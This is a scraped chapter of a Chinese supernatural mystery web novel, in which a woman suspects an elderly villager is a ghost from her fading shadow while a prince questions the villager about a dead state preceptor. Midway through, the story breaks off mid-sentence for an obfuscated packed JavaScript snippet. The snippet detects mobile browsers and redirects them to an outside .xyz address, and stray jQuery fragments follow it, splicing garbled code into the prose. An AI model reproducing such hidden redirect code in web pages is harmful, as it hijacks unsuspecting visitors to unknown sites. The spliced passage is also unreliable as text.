默认冷灰
24号文字
方正启体

19. 魂续几载

作者:椅而参本书字数:K更新时间:
    李嗣瞻不解地望向邬行香。


    邬行香强扯微笑,对张阿婆说:“阿婆,不好意思,我有些饿了,有没有什么吃的?”


    张阿婆点点头,“厨舍有蒸饼,我给你去拿。”


    见张阿婆离去,邬行香急忙道:“殿下,快走。”


    李嗣瞻面无表情道:“你又在发什么疯?


    已经到了地方,找到了人,外面又下着雨。


    我们当然是要跟张阿婆问清楚,等雨停了再走。”


    邬行香解释道:“我刚刚不是跟你说这里不对劲吗?


    我看过了,不是宅子的问题,是人的问题。


    或许说,不是人。”


    李嗣瞻闻言看了看四周,“你是想说这屋里躲着什么妖魔鬼怪?”


    邬行香摇头道:"是张阿婆有问题。"


    李嗣瞻莫名道:“她只是一个普通的老人家,你总不会觉得她是什么邪祟所化吧?”


    邬行香疾言道:“人体为阳,影子属阴。影之存与变,可断阴阳之衡。


    若是人的生命气息散尽,影子就会像失去了依托,再难清晰存续,终会消散于无形。


    我刚刚仔细看过,张阿婆的影子在墙上,模糊扭曲。


    依我看,她恐怕不是活人。


    殿下若是不信,可以比对一下,她的影子和我们影子。


    但我觉得,我们快逃,更为上策。”


    李嗣瞻静静听完邬行香这一番话,然后满脸写着“我不信”三个字。


    “我看是下雨有水汽,加上有风吹灯火,导致影子模糊不清,要不就是你眼花。”


    邬行香心急如焚,甚至想过要不自己先跑了算了?


    虽然殿下人很好,但她只是牛马,不必送命吧?


    李嗣瞻听见邬行香在自己身后来回踱步。


    “我以为,你不会怕这些。


    昨日孙柏在棺材里坐起来,那些拉棺的汉子都吓得倒在地上,你不是很镇定吗?


    还有在驿站时,你也挺胆大妄为的。”


    邬行香停下了脚步,“不一样啊。


    昨夜孙柏若是真尸变,还有糯米符纸。


    何况他的神态一看就是活人,不足为惧。


    驿站之时,我也有害怕。


    不过困住我们的是阵法,不是妖物,我还能想办法破阵。


    眼下不同,我们被关在巷子尽头,又逢大雨。


    若是有危险,喊叫声都不一定能被听见。


    更何况武艺超群的小忠又不在。


    我身上也没有带什么驱邪物。”


    李嗣瞻听出邬行香的忧心,开口道:“你若是真的怕,可以自己去屋外檐下等我。”


    邬行香正在斟酌,张阿婆已经回来了。


    张阿婆端着蒸饼,放到了桌上。


    “姑娘,快坐下吃吧。”


    邬行香又躲回了李嗣瞻身后。


    她看着墙上张阿婆的影子,不断拉长又扭曲,模糊混沌,让人难以看不清轮廓。


    她大着胆子,轻轻触碰李嗣瞻的肩,示意他去看墙上影子。


    李嗣瞻向墙上看去,瞧了两下后开口道:


    “阿婆,你家的墙有些不平,可以叫家人修补一下。”


    邬行香简直想拍手叫绝。


    李嗣瞻是怎么做到,遇到任何诡异之事,都有自己的一番道理?


    自己方才说了那么多,李嗣瞻却认为是墙有些破损不平,影响了灯火投射人影。


    她认为,以后司天监的高官升迁,都必须加上与李嗣瞻辩论一番。


    获胜者,才能高升。


    张阿婆伸手摸了摸墙面。


    “是啊,墙用久了,砖石松动,渐有裂缝。


    人又何尝不是如此?


    世上走一遭,熬过寒暑忧欢,到了岁数,迟早闭眼,归了尘土。


    家中人外出了,等时候到了,他们自会修补好的。”


    邬行香听出张阿婆这话充满暗示,李嗣瞻却像未听出深意,将蒸饼递给了她。


    张阿婆疑惑道:“姑娘,怎么不坐下吃?”


    邬行香接过李嗣瞻手中的蒸饼,咬了两口,“我站着就好,站着吃更消食。”


    李嗣瞻又饮了一口茶,“阿婆,这雨看起来还要下些时候,正好,我想跟你打听些事。”


    张阿婆点了点头,“你说吧。”


    李嗣瞻并不卖关子,单刀直入,“我听说你和古算拾认识?还算是邻居?”


    张阿婆似乎毫不意外李嗣瞻会问出这样的话。


    “你们知道我今年多少岁了吗?”


    邬行香一边嚼饼,一边警惕地站着李嗣瞻身后。


    李嗣瞻闻言猜道:“阿婆看起来,应该有七八十岁。”


    张阿婆颔首道:“不错,我今年已有七十九岁。


    忆往昔初遇国师,我尚为垂髫小儿。


    我们一群孩童玩性正浓,嬉闹于田野间,唯他不同。


    他虽跟我们一起玩闹,却常骤停昂首望天,又时而闭目伫立,仿若能感风之神韵。


    继而口出诸多谶言。


    彼时我尚年幼,只觉其所言奇妙,仿若坊间话本逸事,饶有趣味。”


    邬行香听到张阿婆讲起古算拾旧事,暂且忘了害怕。


    张阿婆回想了一下,续道:“后来他离乡,中途就回来了两三次。


    又过了很多年,我惊闻他已贵为国师,声名赫赫,深受圣上倚重。


    那时我已嫁人生子,深陷尘俗冗务,为琐事累,眨眼间数十载已逝。


    偶尔,我也会遥想当年,思自身为何没有超世之才,以致碌碌无为。


    然岁月沉淀,我渐渐释然。


    我性本知足,亦有所乐。


    年少,每于蹴鞠之戏,我常能取胜,彼时之快意,足可忘怀一切烦忧。


    人生一世,到头来讲究的不过是自己的心境。


    若终日只着眼他人之丰功伟绩,岂不郁郁寡欢,徒增烦恼?”


    邬行香听得入神。


    张阿婆所言,满是对岁月的喟叹,又仿若心底的喃喃叩问。


    令闻者皆不自禁地沉浸于其心渊薮。


    她心想,眼前阿婆,若是鬼,也是个好鬼。


    但李嗣瞻似乎另有其想,他出声道:“阿婆,其实我是想问,国师后来是否回过这里?”


    张阿婆摇了摇头,“年轻人,我知道你想问什么,莫要心急。”


    邬行香催促道:“阿婆,你接着说。”


    她心急下,倾身向前。


    李嗣瞻往旁边躲了躲,小声道:“你离我远些,我觉得背后好像有一条尾巴。”


    律疏的条条规规,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14791750|158138||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    自行跃入邬行香的识海,她立即后退。


    冷风裹挟潮湿气息,从敞开的门中闯入。


    油灯被突如其来的风一扑,顿时摇曳起来,几近熄灭。


    张阿婆伸手拢向火苗。


    待冷风退去,张阿婆才继续开口:


    “再后来,国师仙逝,坊间纷传其乃归位仙班。


    他的家人也搬离了这里,听说去了很远的地方。


    自此,他于众人言谈间,仿若遥不可及之神仙。


    不仅周围人,连我也时常恍惚,心想我当真识得过这般仙人否?


    往昔与之嬉闹纯真岁月,究竟是否一场幻梦?


    直到十年前……”


    张阿婆说到这里,邬行香一怔。


    十年前,正是易镜玄辞官的时间。


    “十年前的一日,我照常归家时,行至天官桥畔。


    以前那里还不叫天官桥,也还没有修建天官庙。


    走到那里时,我见到一个人的背影。


    你们可能不知道,人一旦上了年岁,体态、身形较之年轻人,差别可大了去了。


    脊背佝偻,身高渐矮,行动起来亦是迟缓拖沓。


    可我当时所见之人,却全然不同。


    他满头白发,分明已至暮年,偏生身形挺拔,脚步轻盈似风,不见半分老态龙钟之相。


    我不禁心生好奇,悄然跟在其后。


    只见他径直朝着国师故居而去,进去了一会儿,又出来了。


    他解下腰间葫芦,仰头饮了一口酒,又将余下的酒缓缓倾洒于地,神情肃穆。


    待他转过身来,我才发现,我好像曾见过此人。


    遥想当年,国师离乡之后,有次新元,他归来省亲,还携了一人同至。”


    说到此处,张阿婆突然停下,卖关子般看向两人。


    邬行香虽已猜到此人身份,却也不由自主期待起来。


    好在张阿婆并不想卖弄玄虚,停顿半刻便说出答案:


    “彼时,他满脸笑意,向众人介绍,说这位是他的挚友,名唤易镜玄。”


    邬行香得此答案,喜不自胜。


    至少,他们找对了方向。


    易镜玄辞官后,悼念古算拾,先是进了密室,后又回到古算拾故里。


    她连声追问道:“易镜玄从古算拾家出来,手中可有多了什么东西?”


    张阿婆果断答道:“并无。”


    李嗣瞻询问道:“阿婆,你遇到易镜玄时,是什么时辰?是否天黑?


    你刚刚说跟在他身后,距离有多远?能看清吗?”


    张阿婆想也未想道:“我不知道你们在找什么,但我肯定他并未从古算拾家拿出任何东西。


    因为当我发现他是易镜玄时,过于惊讶,踩到了地上树枝,被他发现。


    易镜玄倒是平静,还记得我们见过面,与我谈了几句古算拾,就要离开。


    我当时忍不住问了他一个问题。


    我之阳寿,尚有几载可度?”


    此时无风,油灯火苗却突兀摇曳。


    邬行香从张阿婆的话中回神,眼神无意扫向墙壁。


    她与李嗣瞻的影子,依然清晰。


    但张阿婆的影子,不知何时起,竟已从模糊扭曲,变成淡得几近消散。


    只余透着丝丝寒意的灰暗。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)